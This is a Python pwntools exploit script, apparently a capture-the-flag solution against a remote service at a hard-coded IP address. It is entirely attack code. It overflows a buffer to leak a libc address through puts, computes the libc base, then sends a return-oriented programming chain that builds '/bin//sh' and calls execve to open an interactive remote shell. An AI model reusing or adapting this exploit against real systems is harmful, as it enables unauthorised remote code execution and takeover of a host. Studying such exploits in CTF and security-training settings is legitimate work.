from pwn import * from struct import pack
context.log_level='debug' r = remote('47.112.137.238', 13337) r.sendline('\x00' + '\xff' * 0x10) r.recv()
sleep(1) puts_plt_addr = 0x08048548 puts_got_addr = 0x08049FD4 ret_addr = 0x08048825 r.send('a'*0xeb + p32(puts_plt_addr) + p32(ret_addr) + p32(puts_got_addr)) libc_base = u32(r.recv()) - ELF('libc-2.23.so').symbols['puts']
r.sendline('\x00' + '\xff' * 0x10)
p = ''
p += pack('<I', libc_base + 0x00001aa6) p += pack('<I', libc_base + 0x001b0040) p += pack('<I', libc_base + 0x00023f97) p += '/bin' p += pack('<I', libc_base + 0x0006b34b) p += pack('<I', libc_base + 0x00001aa6) p += pack('<I', libc_base + 0x001b0044) p += pack('<I', libc_base + 0x00023f97) p += '//sh' p += pack('<I', libc_base + 0x0006b34b) p += pack('<I', libc_base + 0x00001aa6) p += pack('<I', libc_base + 0x001b0048) p += pack('<I', libc_base + 0x0002c5fc) p += pack('<I', libc_base + 0x0006b34b) p += pack('<I', libc_base + 0x00018395) p += pack('<I', libc_base + 0x001b0040) p += pack('<I', libc_base + 0x000b4047) p += pack('<I', libc_base + 0x001b0048) p += pack('<I', libc_base + 0x00001aa6) p += pack('<I', libc_base + 0x001b0048) p += pack('<I', libc_base + 0x0002c5fc) p += pack('<I', libc_base + 0x00007eec) p += pack('<I', libc_base + 0x00007eec) p += pack('<I', libc_base + 0x00007eec) p += pack('<I', libc_base + 0x00007eec) p += pack('<I', libc_base + 0x00007eec) p += pack('<I', libc_base + 0x00007eec) p += pack('<I', libc_base + 0x00007eec) p += pack('<I', libc_base + 0x00007eec) p += pack('<I', libc_base + 0x00007eec) p += pack('<I', libc_base + 0x00007eec) p += pack('<I', libc_base + 0x00007eec) p += pack('<I', libc_base + 0x00002c87)
r.send('a' * 0xeb + p) r.interactive()
|